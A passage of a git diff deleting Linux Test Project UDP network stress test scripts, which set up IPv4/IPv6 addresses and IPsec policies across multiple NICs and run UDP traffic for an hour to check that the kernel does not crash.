Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01 deleted file mode 100644 index dcd5d153..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip01 - -# The version of IP -IP_VER=6 - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02 deleted file mode 100644 index ea26ffac..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03 deleted file mode 100644 index b7f810f5..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04 deleted file mode 100644 index 0bdba0b2..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05 deleted file mode 100644 index c659c79c..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06 deleted file mode 100644 index f84ed3d6..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07 b/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07 deleted file mode 100644 index 6c7e38aa..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp6-multi-diffip07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt b/ltp/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt deleted file mode 100644 index cf39ea0a..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt +++ /dev/null @@ -1,56 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending UDP datagram -at the different NICs with the following conditions - -udp4-multi-diffnic01 - IPv4 - -udp4-multi-diffnic02 - IPv4 - IPsec [ AH / transport ] - -udp4-multi-diffnic03 - IPv4 - IPsec [ AH / tunnel ] - -udp4-multi-diffnic04 - IPv4 - IPsec [ ESP / transport ] - -udp4-multi-diffnic05 - IPv4 - IPsec [ ESP / tunnel ] - -udp4-multi-diffnic06 - IPv4 - IPcomp [ transport ] - -udp4-multi-diffnic07 - IPv4 - IPcomp [ tunnel ] - -udp6-multi-diffnic01 - IPv6 - -udp6-multi-diffnic02 - IPv6 - IPsec [ AH / transport ] - -udp6-multi-diffnic03 - IPv6 - IPsec [ AH / tunnel ] - -udp6-multi-diffnic04 - IPv6 - IPsec [ ESP / transport ] - -udp6-multi-diffnic05 - IPv6 - IPsec [ ESP / tunnel ] - -udp6-multi-diffnic06 - IPv6 - IPcomp [ transport ] - -udp6-multi-diffnic07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/Makefile b/ltp/testcases/network/stress/udp/multi-diffnic/Makefile deleted file mode 100644 index 5bc2107a..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/udp/multi-diffnic testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := udp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 deleted file mode 100644 index f94e834b..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 +++ /dev/null @@ -1,350 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-udp4-multi-diffnic01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram at the different NICs with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the udp traffic server - killall_udp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - link_num=0 - while [ $link_num -lt $link_total ]; do - # Initialize the interfaces - initialize_if lhost ${link_num} - initialize_if rhost ${link_num} - link_num=`expr $link_num + 1` - done -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" - -link_total=`echo $LHOST_HWADDRS | wc -w` -rhost_link_total=`echo $RHOST_HWADDRS | wc -w` -if [ $link_total -ne $rhost_link_total ]; then - tst_resm TBROK "The number of element in LHOST_HWADDRS differs from RHOST_HWADDRS" - exit 1 -fi -if [ $link_total -lt 2 ]; then - tst_resm TBROK "This test case requires plural NICs." - exit 1 -fi -tst_resm TINFO "- Target number of the connection is $link_total" - -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Loop for NIC configuration -link_num=0 -lhost_addrs="" -while [ $link_num -lt $link_total ]; do - # name of interface of the local/remote host - lhost_ifname=`get_ifname lhost $link_num` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL - fi - rhost_ifname=`get_ifname rhost $link_num` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remtoe host" - exit $TST_TOTAL - fi - - # Set the IP address to each interface - case $IP_VER in - 4) - network_part="10.0.${link_num}" - network_mask=24 - lhost_host_part="2" # local host - rhost_host_part="1" # remote host - set_ipv4addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the local host" - exit 1 - fi - set_ipv4addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - 6) - network_part="fd00:1:0:`printf %x ${link_num}`" - network_mask=64 - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - add_ipv6addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the local host" - exit 1 - fi - add_ipv6addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the remote host" - exit 1 - fi - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; - esac - - # Configure SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - # Set SAD/SPD according to the variables - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - exit 1 - fi - rm -f $ipsec_log - fi - - # Make sure the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity on Link${link_num}" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity on Link${link_num}" - exit 1 - fi - ;; - esac - - link_num=`expr $link_num + 1` -done - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle udp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a UDP traffic server -info_file=`mktemp -p $TMPDIR` -ns-udpserver -b -f $IP_VER -p $server_port -o $info_file -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a UDP traffic server" - exit 1 -fi - -# Collect the information of the server -while true ; do - if [ -s $info_file ]; then - break - fi -done -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Main loop -connection_num=0 -while [ $connection_num -lt $link_total ]; do - field=`expr $connection_num + 1` - lhost_addr=`echo $lhost_addrs | cut -d ' ' -f $field` - - # Run a client - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-udpclient -b -f $IP_VER -S $lhost_addr -p $server_port' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TFAIL "Failed to run client on Link${connection_num}" - exit 1 - fi - connection_num=`expr $connection_num + 1` -done - - -# Watch the UDP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - break - else - ps auxw | fgrep ns-udpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "udp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 deleted file mode 100644 index b4fc4d46..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 deleted file mode 100644 index 719f92ee..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 deleted file mode 100644 index e603972d..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# 